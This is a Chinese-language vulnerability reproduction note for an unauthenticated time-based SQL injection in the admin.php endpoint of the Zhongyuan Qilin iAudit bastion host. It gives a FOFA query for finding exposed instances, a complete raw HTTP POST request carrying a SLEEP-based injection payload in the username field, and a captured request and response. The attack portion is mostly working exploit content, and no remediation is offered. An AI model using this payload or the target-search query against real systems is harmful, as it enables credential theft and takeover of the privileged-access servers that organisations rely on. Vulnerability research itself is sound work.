

Z7-2中远麒麟-堡垒机-SQL

漏洞描述：

中远麒麟依托自身强大的研发能力,丰富的行业经验，自主研发了新一代软硬件一体化统一安全运维平台—iAudit 统一安全运维平台。该产品支持对企业运维人员在运维过程中进行统一身份认证、统一授权、统一审计、统一监控，消除了传统运维过程中的盲区，实现了运维简单化、操作可控化、过程可视化，是企业 IT 内控最有效的管理平台。中远麒麟堡垒机admin.php接口处存在sql注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。

网站图片：



网络测绘：

fofa语法：

- fofacert.subject="Baolei"

漏洞复现：

payload:

```
POST /admin.php?controller=admin_commonuser HTTP/1.1
Host: xx.xx.xx.xx
Cookie: PHPSESSID=66b53a13d3db0e27a9676d419c374c42
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
```

```
username=admin' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'Aadm'='Aadm
```

效果图:

请求

美化RawHex

1 POST /admin.php?controller=admin_commonuser HTTP/1.1

2 Host: 192.168.1.100

3 Cookie: PHPSESSID=66b53a13d3db0e27a9676d419c374c42

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7 Accept-Encoding: gzip, deflate

8 Upgrade-Insecure-Requests: 1

9 Sec-Fetch-Dest: document

10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-Site: none

12 Sec-Fetch-User: ?1

13 Te: trailers

14 Connection: close

15 Content-Type: application/x-www-form-urlencoded

16 Content-Length: 78

17

18 username=admin' AND (SELECT 6999 FROM (SELECT (SLEEP(5))ptGN) AND 'AAdn'='AAdn

响应

美化RawHex页面渲染

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Fri, 08 Sep 2023 16:00:31 GMT

4 Content-Type: text/html; charset=UTF-8

5 Connection: close

6 Cache-Control: no-cache, no-store, max-age=0, must-revalidate

7 Content-Length: 68

8

9 {"result":0,"msg":"username and password does not match!","data":[]}

Inspector

请求属性2

请求查询参数1

请求体参数1

请求Cookies1

请求头15

响应头6